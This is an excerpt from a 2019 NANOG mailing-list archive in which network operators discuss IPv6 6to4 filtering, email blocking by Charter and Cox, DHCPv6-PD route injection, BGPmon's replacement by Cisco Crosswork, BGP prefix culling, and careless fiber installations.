> > However, even in places where it's possible, fiber installation is > sometimes miserably executed. Like my neighborhood. A couple of > years ago, Verizon decided to finally bring FIOS in. They put in the > appropriate calls to utility services, who dutifully marked all the > existing power/cable/gas/etc. lines and then their contractors (or > sub-sub-contractors) showed up. > > The principle outcome of their efforts quickly became clear, as one > Comcast cable line after another was severed. Not a handful, not even > dozens: well over a hundred. They managed to cut mine in three places, > which was truly impressive. (Thanks for the extended outage, Verizon.) > After this had gone on for a month, Comcast caught on and took the > expedient route of just rolling a truck every morning. They'd park at > the end of the road and just wait for the service calls that they knew > were coming. Of course Comcast's lines were not the only victims of > this incompetence and negligence. Amusingly, sometimes Verizon had to > send its own repair crews for their copper lines. > > There's a lot more but let me skip to the end result. After inflicting > months of outages on everyone, after tearing up lots of lawns, after all > of this, many of the fiber conduits that are allegedly underground: aren't. > > ---rsk > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jordi.palet at consulintel.es Tue May 14 15:52:36 2019 From: jordi.palet at consulintel.es (JORDI PALET MARTINEZ) Date: Tue, 14 May 2019 17:52:36 +0200 Subject: IPv6 ingress filter In-Reply-To: <255376E7-FC9D-438F-8C1D-C6692AB2B6B8@oasis-tech.net> References: <255376E7-FC9D-438F-8C1D-C6692AB2B6B8@oasis-tech.net> Message-ID: <8E1CC3AF-E562-4E40-BDC0-D3ABDC5AF1A7@consulintel.es> Hi Amos, Just responded in another mailing list on this: 6to4 is still a valid protocol. IT SHOULD NOT be filtered. 6to4 uses the same protocol as other tunnels such as 6in4 (protocol 41). https://www.ietf.org/rfc/rfc3056.txt It works fine for peer to peer applications. What the IETF deprecated is anycast for 6to4 relays: https://tools.ietf.org/html/rfc7526 I believe Hurricane Electric still hosts 6to4 relays. Regards, Jordi El 14/5/19 17:32, "NANOG en nombre de Amos Rosenboim" escribió: Hello, As we are trying to tighten the security for IPv6 traffic in our network, I was looking for a reference IPv6 ingress filter. I came up with Job Snijders suggestion (thank you Job) that can be conveniently found at whois -h whois.ripe.net fltr-martian-v6 After applying the filter I noticed some traffic from 6to4 addresses (2002::/16) to our native IPv6 prefixes (residential users in this case). The traffic is a mix of both UDP and TCP but all on high port numbers on both destination and source. It seems to me like some P2P traffic, but I really can’t tell. This got me thinking, why should we filter these addresses at all ? I know 6to4 is mostly dead, but is it inherently bad ? And if so, why is the prefix (2002::/16) still being routed ? I would love to hear some thoughts on this, and understand if others are actually filtering this at both data plane and control plane. Thanks, Amos Rosenboim -- ********************************************** IPv4 is over Are you ready for the new Internet ? http://www.theipv6company.com The IPv6 Company This electronic message contains information which may be privileged or confidential. The information is intended to be for the exclusive use of the individual(s) named above and further non-explicilty authorized disclosure, copying, distribution or use of the contents of this information, even if partially, including attached files, is strictly prohibited and will be considered a criminal offense. If you are not the intended recipient be aware that any disclosure, copying, distribution or use of the contents of this information, even if partially, including attached files, is strictly prohibited, will be considered a criminal offense, so you must reply to the original sender to inform about this communication and delete it. -------------- next part -------------- An HTML attachment was scrubbed... URL: From amos at oasis-tech.net Tue May 14 16:36:00 2019 From: amos at oasis-tech.net (Amos Rosenboim) Date: Tue, 14 May 2019 16:36:00 +0000 Subject: IPv6 ingress filter In-Reply-To: <8E1CC3AF-E562-4E40-BDC0-D3ABDC5AF1A7@consulintel.es> References: <255376E7-FC9D-438F-8C1D-C6692AB2B6B8@oasis-tech.net> <8E1CC3AF-E562-4E40-BDC0-D3ABDC5AF1A7@consulintel.es> Message-ID: <0969D35E-EAE5-41D0-9C67-3BA3A01D8845@oasis-tech.net> Hello Jordi, Thank you for your feedback on both lists. It's important to note that the filter suggestion is not about the protocol, but about the 2002::/16 prefix. Amos Sent from my iPhone On 14 May 2019, at 18:52, JORDI PALET MARTINEZ > wrote: Hi Amos, Just responded in another mailing list on this: 6to4 is still a valid protocol. IT SHOULD NOT be filtered. 6to4 uses the same protocol as other tunnels such as 6in4 (protocol 41). https://www.ietf.org/rfc/rfc3056.txt It works fine for peer to peer applications. What the IETF deprecated is anycast for 6to4 relays: https://tools.ietf.org/html/rfc7526 I believe Hurricane Electric still hosts 6to4 relays. Regards, Jordi El 14/5/19 17:32, "NANOG en nombre de Amos Rosenboim" en nombre de amos at oasis-tech.net> escribi?: Hello, As we are trying to tighten the security for IPv6 traffic in our network, I was looking for a reference IPv6 ingress filter. I came up with Job Snijders suggestion (thank you Job) that can be conveniently found at whois -h whois.ripe.net fltr-martian-v6 After applying the filter I noticed some traffic from 6to4 addresses (2002::/16) to our native IPv6 prefixes (residential users in this case). The traffic is a mix of both UDP and TCP but all on high port numbers on both destination and source. It seems to me like some P2P traffic, but I really can't tell. This got me thinking, why should we filter these addresses at all ? I know 6to4 is mostly dead, but is it inherently bad ? And if so, why is the prefix (2002::/16) still being routed ? I would love to hear some thoughts on this, and understand if others are actually filtering this at both data plane and control plane. Thanks, Amos Rosenboim -- ********************************************** IPv4 is over Are you ready for the new Internet ? http://www.theipv6company.com The IPv6 Company This electronic message contains information which may be privileged or confidential. The information is intended to be for the exclusive use of the individual(s) named above and further non-explicilty authorized disclosure, copying, distribution or use of the contents of this information, even if partially, including attached files, is strictly prohibited and will be considered a criminal offense. If you are not the intended recipient be aware that any disclosure, copying, distribution or use of the contents of this information, even if partially, including attached files, is strictly prohibited, will be considered a criminal offense, so you must reply to the original sender to inform about this communication and delete it. -------------- next part -------------- An HTML attachment was scrubbed... URL: From mlm at pixelgate.net Tue May 14 18:22:41 2019 From: mlm at pixelgate.net (Mark Milhollan) Date: Tue, 14 May 2019 11:22:41 -0700 (PDT) Subject: Charter and Cox contacts In-Reply-To: <1d87ab31-ab93-d69b-be66-c29bf97dedb8@satchell.net> References: <052201d509bf$9c000c30$d4002490$@pyranah.com> <1d87ab31-ab93-d69b-be66-c29bf97dedb8@satchell.net> Message-ID: On Mon, 13 May 2019, Stephen Satchell wrote: >On 5/13/19 12:11 PM, daniel at pyranah.com wrote: >>Does anyone have contacts at Charter (Spectrum) and Cox? For some reason, >>our IP has been blocked by them and our customers are unable to send email >>via their charter/cox accounts. Thanks > >Would you be talking about port 25/tcp outbound? Lots of ISPs will >block port 25 as a rule; If this is the case, that your customers cannot use your mail servers to relay mail then provide port 587/TCP (SUBMISSION) or even 465/TCP (SMTPS, deprecated). If you mean that your mail servers can't send mail to Charter and Cox addresses, then indeed you need to find out what happened, fix it then request removal from their (and other) blacklists for which contacts there would be helpful (I am not one). /mark From lists.nanog at monmotha.net Wed May 15 02:27:09 2019 From: lists.nanog at monmotha.net (Brandon Martin) Date: Tue, 14 May 2019 22:27:09 -0400 Subject: DHCPv6-PD relay route injection - standard? Message-ID: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> Is there a standard that defines/recommends behavior for route injection of snooped DHCPv6-PD (or IA, I guess) assignments on routers running relay agents? That is, snooping or otherwise examining a relayed DHCPv6 response for a delegated prefix (or IA, if you want) and installing a quasi-static route toward the relevant next-hop based on the lifetime of the delegation. Typical redistribution can then be used to put it in IGP if you want. It seems to be a common feature - Cisco ("Relay Agent Notification" on IOS-XE), Juniper ("DHCPv6-PD Route injection" on JunOS), and Arista ("ipv6 dhcp relay install routes" on EOS), and Ruckus ("Relay Agent Prefix Delegation Notification" on FastIron) all seem to support it. Google has, however, failed me at finding any standard that defines or recommends corresponding behavior. RFC 8415 punts on the issue: > the server may need a protocol or other > out-of-band communication to configure routing information for > delegated prefixes It would be nice to have some sort of semi-normative behavior to at least refer to if only to use it to prod vendors. -- Brandon Martin From marka at isc.org Wed May 15 02:30:40 2019 From: marka at isc.org (Mark Andrews) Date: Wed, 15 May 2019 12:30:40 +1000 Subject: FCC Hurricane Michael after-action report In-Reply-To: References: <003e01d50a10$36d52330$a47f6990$@iname.com> <20190514135113.GA18581@gsp.org> Message-ID: <30198354-A4C0-4958-8E5D-BD1BC62B487A@isc.org> Can everyone on this list that is using Gmail please complain to Google as there is a STUPID default to set font-size:small. It make the text unreadable on smaller device with already small fonts. The message I’m replying to does this. font-size:small should be verboten in email even for footnotes. Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
The= re's more to it than this too. I was down there (I have sites I'm r= esponsible for in Panama City Beach) in February and I was talking to a bun= ch of folks in the area as a result. This storm was fairly unusual for the = area for a number of reasons. One, it normally doesn't hit the panhandl= e at anywhere near a category 5, and two, it was still a high category 3 by= the time it hit Georgia. The amount of damage done was immense, is still n= ot cleaned up (I drove past multiple buildings that were still piles of rub= ble, 4 months after the storm), and I was seeing forests full of damaged an= d destroyed trees all the way to I-10.

On 15 May 2019, at 1:38 am, George Metz wrote: > > There's more to it than this too. I was down there (I have sites I'm responsible for in Panama City Beach) in February and I was talking to a bunch of folks in the area as a result. This storm was fairly unusual for the area for a number of reasons. One, it normally doesn't hit the panhandle at anywhere near a category 5, and two, it was still a high category 3 by the time it hit Georgia. The amount of damage done was immense, is still not cleaned up (I drove past multiple buildings that were still piles of rubble, 4 months after the storm), and I was seeing forests full of damaged and destroyed trees all the way to I-10. > > All in all, the vast majority of Panama City looked much more like 4 months after a tornado rather than a hurricane, and all that damage continued all the way into Georgia. Thinking this was just like any other hurricane to hit the area is the absolute wrong tack to take - from what I heard there was some discussion of whether it was worth it to reopen Tyndall AFB, because the only thing left standing was some WWII era bomb-proof concrete hangars. > > On the flip side, improvements in response are a good thing - as long as people aren't beating up on the people who did the responding in the first place without cause. > > On Tue, May 14, 2019 at 9:52 AM Rich Kulawiec wrote: > On Mon, May 13, 2019 at 11:48:02PM -0500, frnkblk at iname.com wrote: > > One of my takeaways from that article was that burying fiber underground > > could likely have avoided many/most of these fiber cuts, though I???m > > not familiar enough with the terrain to know how feasible that is. > > I suspect that may not be possible in (parts of) Florida. > > However, even in places where it's possible, fiber installation is > sometimes miserably executed. Like my neighborhood. A couple of > years ago, Verizon decided to finally bring FIOS in. They put in the > appropriate calls to utility services, who dutifully marked all the > existing power/cable/gas/etc. lines and then their contractors (or > sub-sub-contractors) showed up. > > The principle outcome of their efforts quickly became clear, as one > Comcast cable line after another was severed. Not a handful, not even > dozens: well over a hundred. They managed to cut mine in three places, > which was truly impressive. (Thanks for the extended outage, Verizon.) > After this had gone on for a month, Comcast caught on and took the > expedient route of just rolling a truck every morning. They'd park at > the end of the road and just wait for the service calls that they knew > were coming. Of course Comcast's lines were not the only victims of > this incompetence and negligence. Amusingly, sometimes Verizon had to > send its own repair crews for their copper lines. > > There's a lot more but let me skip to the end result. After inflicting > months of outages on everyone, after tearing up lots of lawns, after all > of this, many of the fiber conduits that are allegedly underground: aren't. > > ---rsk -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From hank at efes.iucc.ac.il Wed May 15 09:50:10 2019 From: hank at efes.iucc.ac.il (Hank Nussbacher) Date: Wed, 15 May 2019 12:50:10 +0300 Subject: Cisco Crosswork Network Insights - or how to destroy a useful service Message-ID: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> I have started to use Cisco Crosswork Network Insights which is the replacement for BGPmon and I am shocked at how Cisco has managed to destroy a useful tool.I have had a paid 50 prefix account since the day BGPmon became available and helped two clients implement a 500 prefix license over the past 4 years.None will be buying Cisco Crosswork Network Insights, based on my recommendation. I really don’t know where to begin since there is so much to dislike in this new GUI.I will try to give you just a small taste but I suggest you request a 90 day trial license and try it out for yourself. This was not designed by someone who deals with BGP hijacks or who manages a network.It was probably given to some GUI developer with a minimal understanding of what the users needed.How do I know this?Take for example the main configuration menu: https://crosswork.cisco.com/#/configuration with the first tab of “prefixes”.On that page there is *no* mention of which ASN the prefix is associated with.That of course was fundamental in the BGPmon menu: https://portal.bgpmon.net/myprefixes.php Or take for example its “express configuration”, where you insert an ASN and it automatically finds all prefixes and creates a policy.But does it know the name of the ASN?Nope.Something again that was basic in BGPmon via: https://portal.bgpmon.net/myasn.php is non-existent in CNI. Or how about the alarms one gets to an email?Want to see how that looks? From: Crosswork Admin [mailto:admin at crosswork.cisco.com] Sent: 15 May 2019 11:39 To: Hank Nussbacher Subject: CCNI Notification Active alarm count 1 starting at 2019-05-15 08:34:42.960762315 +0000 UTC. Please click on the link for each alarm below: https://crosswork.cisco.com/#/alarm/ba7c5084-f05d-4c12-a17f-be9e815d6647 Compare that with what we used to get: ==================================================================== Possible Prefix Hijack (Code: 10) ==================================================================== Your prefix:99.201.0.0/16: Prefix Description:Kuku net Update time:2018-08-12 17:50 (UTC) Detected by #peers:140 Detected prefix:99.201.131.0/24 Announced by:AS222246 (BGP hijacking Ltd) Upstream AS:AS111111 (Clueless ISP allowing customer hijacking Ltd) ASpath:555555 444444 333333 111111 222246 Alert details:https://portal.bgpmon.net/alerts.php?details&alert_id=830521190 Mark as false alert:https://portal.bgpmon.net/fp.php?aid=830521190 That is just a small sampling.Maybe two years down the road, Cisco will speak to customers first before destroying a useful service. Anyone else trying this out and feels the same or feels differently? Disappointed, Hank -------------- next part -------------- An HTML attachment was scrubbed... URL: From job at ntt.net Wed May 15 10:16:06 2019 From: job at ntt.net (Job Snijders) Date: Wed, 15 May 2019 12:16:06 +0200 Subject: Cisco Crosswork Network Insights - or how to destroy a useful service In-Reply-To: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> References: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> Message-ID: <20190515101606.GO54046@hanna.meerval.net> Hi, I recognise the issue you describe, and I'd like to share with you that we're going down another road. Nowadays, RIPE NCC offers a streaming API ("RIS Live") which has the data needed to analyse and correlate BGP UPDATES seen in the wild to business rules you as operator define. NTT folks are working on https://github.com/nlnog/bgpalerter/ - which relies on "RIPE RIS Live", this software should become a competitive replacement to current BGP monitoring tools. Stay tuned, the software will be more useful in the course of the next few weeks. Kind regards, Job From cfriacas at fccn.pt Wed May 15 10:37:57 2019 From: cfriacas at fccn.pt (=?ISO-8859-15?Q?Carlos_Fria=E7as?=) Date: Wed, 15 May 2019 11:37:57 +0100 (WEST) Subject: Cisco Crosswork Network Insights - or how to destroy a useful service In-Reply-To: <20190515101606.GO54046@hanna.meerval.net> References: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> <20190515101606.GO54046@hanna.meerval.net> Message-ID: Hi Job, All, It relies *exclusively* on "RIPE RIS Live", or does it also use other sources? Regards, Carlos On Wed, 15 May 2019, Job Snijders wrote: > Hi, > > I recognise the issue you describe, and I'd like to share with you that > we're going down another road. Nowadays, RIPE NCC offers a streaming API > ("RIS Live") which has the data needed to analyse and correlate BGP > UPDATES seen in the wild to business rules you as operator define. > > NTT folks are working on https://github.com/nlnog/bgpalerter/ - which > relies on "RIPE RIS Live", this software should become a competitive > replacement to current BGP monitoring tools. Stay tuned, the software > will be more useful in the course of the next few weeks. > > Kind regards, > > Job > From job at ntt.net Wed May 15 10:42:22 2019 From: job at ntt.net (Job Snijders) Date: Wed, 15 May 2019 12:42:22 +0200 Subject: Cisco Crosswork Network Insights - or how to destroy a useful service In-Reply-To: References: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> <20190515101606.GO54046@hanna.meerval.net> Message-ID: <20190515104222.GQ54046@hanna.meerval.net> On Wed, May 15, 2019 at 11:37:57AM +0100, Carlos Friaças wrote: > It relies *exclusively* on "RIPE RIS Live", or does it also use other > sources? The first useful version will rely exclusively on the "RIS Live" interface. In a later stage we can consider adding something like the NLNOG Looking Glass data source. Kind regards, Job From baldur.norddahl at gmail.com Wed May 15 11:43:30 2019 From: baldur.norddahl at gmail.com (Baldur Norddahl) Date: Wed, 15 May 2019 13:43:30 +0200 Subject: BGP prefix filter list Message-ID: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> Hello This morning we apparently had a problem with our routers not handling the full table. So I am looking into culling the least useful prefixes from our tables. I can hardly be the first one to take on that kind of project, and I am wondering if there is a ready made prefix list or similar? Or maybe we have a list of worst offenders? I am looking for ASN that announces a lot of unnecessary /24 prefixes and which happens to be far away from us? I would filter those to something like /20 and then just have a default route to catch all. Thanks, Baldur From jamann at mt.gov Wed May 15 11:52:16 2019 From: jamann at mt.gov (Mann, Jason) Date: Wed, 15 May 2019 11:52:16 +0000 Subject: Cisco Crosswork Network Insights - or how to destroy a useful service In-Reply-To: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> References: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> Message-ID: <1557921139007.18288@mt.gov> ?Is BGPmon going away? ________________________________ From: NANOG on behalf of Hank Nussbacher Sent: Wednesday, May 15, 2019 3:50 AM To: nanog at nanog.org Subject: Cisco Crosswork Network Insights - or how to destroy a useful service I have started to use Cisco Crosswork Network Insights which is the replacement for BGPmon and I am shocked at how Cisco has managed to destroy a useful tool. I have had a paid 50 prefix account since the day BGPmon became available and helped two clients implement a 500 prefix license over the past 4 years. None will be buying Cisco Crosswork Network Insights, based on my recommendation. I really don't know where to begin since there is so much to dislike in this new GUI. I will try to give you just a small taste but I suggest you request a 90 day trial license and try it out for yourself. This was not designed by someone who deals with BGP hijacks or who manages a network. It was probably given to some GUI developer with a minimal understanding of what the users needed. How do I know this? Take for example the main configuration menu: https://crosswork.cisco.com/#/configuration with the first tab of "prefixes". On that page there is no mention of which ASN the prefix is associated with. That of course was fundamental in the BGPmon menu: https://portal.bgpmon.net/myprefixes.php Or take for example its "express configuration", where you insert an ASN and it automatically finds all prefixes and creates a policy. But does it know the name of the ASN? Nope. Something again that was basic in BGPmon via: https://portal.bgpmon.net/myasn.php is non-existent in CNI. Or how about the alarms one gets to an email? Want to see how that looks? From: Crosswork Admin [mailto:admin at crosswork.cisco.com] Sent: 15 May 2019 11:39 To: Hank Nussbacher Subject: CCNI Notification Active alarm count 1 starting at 2019-05-15 08:34:42.960762315 +0000 UTC. Please click on the link for each alarm below: https://crosswork.cisco.com/#/alarm/ba7c5084-f05d-4c12-a17f-be9e815d6647 Compare that with what we used to get: ==================================================================== Possible Prefix Hijack (Code: 10) ==================================================================== Your prefix: 99.201.0.0/16: Prefix Description: Kuku net Update time: 2018-08-12 17:50 (UTC) Detected by #peers: 140 Detected prefix: 99.201.131.0/24 Announced by: AS222246 (BGP hijacking Ltd) Upstream AS: AS111111 (Clueless ISP allowing customer hijacking Ltd) ASpath: 555555 444444 333333 111111 222246 Alert details: https://portal.bgpmon.net/alerts.php?details&alert_id=830521190 Mark as false alert: https://portal.bgpmon.net/fp.php?aid=830521190 That is just a small sampling. Maybe two years down the road, Cisco will speak to customers first before destroying a useful service. Anyone else trying this out and feels the same or feels differently? Disappointed, Hank -------------- next part -------------- An HTML attachment was scrubbed... URL: From job at ntt.net Wed May 15 11:54:33 2019 From: job at ntt.net (Job Snijders) Date: Wed, 15 May 2019 13:54:33 +0200 Subject: Cisco Crosswork Network Insights - or how to destroy a useful service In-Reply-To: <1557921139007.18288@mt.gov> References: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> <1557921139007.18288@mt.gov> Message-ID: <20190515115433.GU54046@hanna.meerval.net> On Wed, May 15, 2019 at 11:52:16AM +0000, Mann, Jason via NANOG wrote: > ?Is BGPmon going away? Yes, see https://bgpmon.net/wp-content/uploads/2019/01/BGPMon.net-EOL-EOS-faq.pdf Kind regards, Job From hank at efes.iucc.ac.il Wed May 15 11:55:46 2019 From: hank at efes.iucc.ac.il (hank at efes.iucc.ac.il) Date: Wed, 15 May 2019 14:55:46 +0300 Subject: Cisco Crosswork Network Insights - or how to destroy a useful service In-Reply-To: <1557921139007.18288@mt.gov> Message-ID: An HTML attachment was scrubbed... URL: From cra at wpi.edu Wed May 15 12:23:44 2019 From: cra at wpi.edu (Anderson, Charles R) Date: Wed, 15 May 2019 12:23:44 +0000 Subject: BGP prefix filter list In-Reply-To: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> Message-ID: <20190515122341.x5ll35xc2b6amgse@angus.ind.wpi.edu> What about these ones? https://teamarin.net/2019/05/13/taking-a-hard-line-on-fraud/ On Wed, May 15, 2019 at 01:43:30PM +0200, Baldur Norddahl wrote: > Hello > > This morning we apparently had a problem with our routers not handling > the full table. So I am looking into culling the least useful prefixes > from our tables. I can hardly be the first one to take on that kind of > project, and I am wondering if there is a ready made prefix list or similar? > > Or maybe we have a list of worst offenders? I am looking for ASN that > announces a lot of unnecessary /24 prefixes and which happens to be far > away from us? I would filter those to something like /20 and then just > have a default route to catch all. > > Thanks, > > Baldur From nanog at ics-il.net Wed May 15 12:33:13 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 15 May 2019 07:33:13 -0500 (CDT) Subject: Cisco Crosswork Network Insights - or how to destroy a useful service In-Reply-To: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> References: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> Message-ID: <1931819943.2703.1557923589046.JavaMail.mhammett@ThunderFuck> Cisco ruins everything they touch. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Hank Nussbacher" To: nanog at nanog.org Sent: Wednesday, May 15, 2019 4:50:10 AM Subject: Cisco Crosswork Network Insights - or how to destroy a useful service I have started to use Cisco Crosswork Network Insights which is the replacement for BGPmon and I am shocked at how Cisco has managed to destroy a useful tool. I have had a paid 50 prefix account since the day BGPmon became available and helped two clients implement a 500 prefix license over the past 4 years. None will be buying Cisco Crosswork Network Insights, based on my recommendation. I really don’t know where to begin since there is so much to dislike in this new GUI. I will try to give you just a small taste but I suggest you request a 90 day trial license and try it out for yourself. This was not designed by someone who deals with BGP hijacks or who manages a network. It was probably given to some GUI developer with a minimal understanding of what the users needed. How do I know this? Take for example the main configuration menu: https://crosswork.cisco.com/#/configuration with the first tab of “prefixes”. On that page there is no mention of which ASN the prefix is associated with. That of course was fundamental in the BGPmon menu: https://portal.bgpmon.net/myprefixes.php Or take for example its “express configuration”, where you insert an ASN and it automatically finds all prefixes and creates a policy. But does it know the name of the ASN? Nope. Something again that was basic in BGPmon via: https://portal.bgpmon.net/myasn.php is non-existent in CNI. Or how about the alarms one gets to an email? Want to see how that looks? From: Crosswork Admin [ mailto:admin at crosswork.cisco.com ] Sent: 15 May 2019 11:39 To: Hank Nussbacher Subject: CCNI Notification Active alarm count 1 starting at 2019-05-15 08:34:42.960762315 +0000 UTC. Please click on the link for each alarm below: https://crosswork.cisco.com/#/alarm/ba7c5084-f05d-4c12-a17f-be9e815d6647 Compare that with what we used to get: ==================================================================== Possible Prefix Hijack (Code: 10) ==================================================================== Your prefix: 99.201.0.0/16: Prefix Description: Kuku net Update time: 2018-08-12 17:50 (UTC) Detected by #peers: 140 Detected prefix: 99.201.131.0/24 Announced by: AS222246 (BGP hijacking Ltd) Upstream AS: AS111111 (Clueless ISP allowing customer hijacking Ltd) ASpath: 555555 444444 333333 111111 222246 Alert details: https://portal.bgpmon.net/alerts.php?details&alert_id=830521190 Mark as false alert: https://portal.bgpmon.net/fp.php?aid=830521190 That is just a small sampling. Maybe two years down the road, Cisco will speak to customers first before destroying a useful service. Anyone else trying this out and feels the same or feels differently? Disappointed, Hank -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Wed May 15 12:51:00 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 15 May 2019 07:51:00 -0500 (CDT) Subject: FCC Hurricane Michael after-action report In-Reply-To: <20190514135113.GA18581@gsp.org> References: <003e01d50a10$36d52330$a47f6990$@iname.com> <20190514135113.GA18581@gsp.org> Message-ID: <1402085094.2824.1557924658012.JavaMail.mhammett@ThunderFuck> The majority of people doing locates are terrible at their job. (Un)fortunately, people doing the conduit installations are often terrible at their job as well. It's about a 50/50 split if the line was located correctly and the installation crew was careless or the line wasn't located correctly in the first places. Sometimes lines can be off by 10 feet. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Rich Kulawiec" To: nanog at nanog.org Sent: Tuesday, May 14, 2019 8:51:13 AM Subject: Re: FCC Hurricane Michael after-action report On Mon, May 13, 2019 at 11:48:02PM -0500, frnkblk at iname.com wrote: > One of my takeaways from that article was that burying fiber underground > could likely have avoided many/most of these fiber cuts, though I???m > not familiar enough with the terrain to know how feasible that is. I suspect that may not be possible in (parts of) Florida. However, even in places where it's possible, fiber installation is sometimes miserably executed. Like my neighborhood. A couple of years ago, Verizon decided to finally bring FIOS in. They put in the appropriate calls to utility services, who dutifully marked all the existing power/cable/gas/etc. lines and then their contractors (or sub-sub-contractors) showed up. The principle outcome of their efforts quickly became clear, as one Comcast cable line after another was severed. Not a handful, not even dozens: well over a hundred. They managed to cut mine in three places, which was truly impressive. (Thanks for the extended outage, Verizon.) After this had gone on for a month, Comcast caught on and took the expedient route of just rolling a truck every morning. They'd park at the end of the road and just wait for the service calls that they knew were coming. Of course Comcast's lines were not the only victims of this incompetence and negligence. Amusingly, sometimes Verizon had to send its own repair crews for their copper lines. There's a lot more but let me skip to the end result. After inflicting months of outages on everyone, after tearing up lots of lawns, after all of this, many of the fiber conduits that are allegedly underground: aren't. ---rsk -------------- next part -------------- An HTML attachment was scrubbed... URL: From patrick_mcevilly at harvard.edu Wed May 15 13:24:15 2019 From: patrick_mcevilly at harvard.edu (Patrick McEvilly) Date: Wed, 15 May 2019 09:24:15 -0400 Subject: Cisco Crosswork Network Insights - or how to destroy a useful service In-Reply-To: <3c55471b9d5741b8b47280dabd6cc0ab@BN8PR07MB6084.namprd07.prod.outlook.com> References: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> <3c55471b9d5741b8b47280dabd6cc0ab@BN8PR07MB6084.namprd07.prod.outlook.com> Message-ID: https://honestnetworker.net/2019/01/31/recent-bgpmon-net-announcement/ From: NANOG on behalf of Mike Hammett Date: Wednesday, May 15, 2019 at 8:35 AM To: Hank Nussbacher Cc: "nanog at nanog.org" Subject: Re: Cisco Crosswork Network Insights - or how to destroy a useful service Resent-From: Patrick McEvilly Cisco ruins everything they touch. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com From: "Hank Nussbacher" To: nanog at nanog.org Sent: Wednesday, May 15, 2019 4:50:10 AM Subject: Cisco Crosswork Network Insights - or how to destroy a useful service I have started to use Cisco Crosswork Network Insights which is the replacement for BGPmon and I am shocked at how Cisco has managed to destroy a useful tool.  I have had a paid 50 prefix account since the day BGPmon became available and helped two clients implement a 500 prefix license over the past 4 years.  None will be buying Cisco Crosswork Network Insights, based on my recommendation. I really don’t know where to begin since there is so much to dislike in this new GUI.  I will try to give you just a small taste but I suggest you request a 90 day trial license and try it out for yourself. This was not designed by someone who deals with BGP hijacks or who manages a network.  It was probably given to some GUI developer with a minimal understanding of what the users needed.   How do I know this?  Take for example the main configuration menu: https://crosswork.cisco.com/#/configuration with the first tab of “prefixes”.  On that page there is no mention of which ASN the prefix is associated with.  That of course was fundamental in the BGPmon menu: https://portal.bgpmon.net/myprefixes.php Or take for example its “express configuration”, where you insert an ASN and it automatically finds all prefixes and creates a policy.  But does it know the name of the ASN?  Nope.  Something again that was basic in BGPmon via: https://portal.bgpmon.net/myasn.php is non-existent in CNI. Or how about the alarms one gets to an email?  Want to see how that looks? From: Crosswork Admin [mailto:admin at crosswork.cisco.com] Sent: 15 May 2019 11:39 To: Hank Nussbacher Subject: CCNI Notification Active alarm count 1 starting at 2019-05-15 08:34:42.960762315 +0000 UTC. Please click on the link for each alarm below: https://crosswork.cisco.com/#/alarm/ba7c5084-f05d-4c12-a17f-be9e815d6647 Compare that with what we used to get: ==================================================================== Possible Prefix Hijack (Code: 10) ==================================================================== Your prefix:          99.201.0.0/16: Prefix Description:   Kuku net Update time:          2018-08-12 17:50 (UTC) Detected by #peers:   140 Detected prefix:      99.201.131.0/24 Announced by:         AS222246 (BGP hijacking Ltd) Upstream AS:          AS111111 (Clueless ISP allowing customer hijacking Ltd) ASpath:               555555 444444 333333 111111 222246 Alert details:        https://portal.bgpmon.net/alerts.php?details&alert_id=830521190 Mark as false alert:  https://portal.bgpmon.net/fp.php?aid=830521190 That is just a small sampling.  Maybe two years down the road, Cisco will speak to customers first before destroying a useful service. Anyone else trying this out and feels the same or feels differently? Disappointed, Hank -------------- next part -------------- An HTML attachment was scrubbed... URL: From daniel at pyranah.com Wed May 15 13:26:06 2019 From: daniel at pyranah.com (daniel at pyranah.com) Date: Wed, 15 May 2019 09:26:06 -0400 Subject: Charter and Cox contacts Message-ID: <075001d50b21$c0a6f090$41f4d1b0$@pyranah.com> First off, I apologize for the list. I didn't realize my replies included the entire original email... Mark, we do not run a mail server. The issue is a lot of our customers have their 2nd homes here, so when they come up they are using their email provided by their 1st home ISP. A number of our customers use Cox, Charter, and Spectrum and can receive email just fine but cannot send. Report from a mac book pro email client showed Cox to be blocking the IP that we NAT most customers through. Message: 7 Date: Tue, 14 May 2019 11:22:41 -0700 (PDT) From: Mark Milhollan To: NANOG list Subject: Re: Charter and Cox contacts Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed On Mon, 13 May 2019, Stephen Satchell wrote: >On 5/13/19 12:11 PM, daniel at pyranah.com wrote: >>Does anyone have contacts at Charter (Spectrum) and Cox? For some reason, >>our IP has been blocked by them and our customers are unable to send email >>via their charter/cox accounts. Thanks > >Would you be talking about port 25/tcp outbound? Lots of ISPs will >block port 25 as a rule; If this is the case, that your customers cannot use your mail servers to relay mail then provide port 587/TCP (SUBMISSION) or even 465/TCP (SMTPS, deprecated). If you mean that your mail servers can't send mail to Charter and Cox addresses, then indeed you need to find out what happened, fix it then request removal from their (and other) 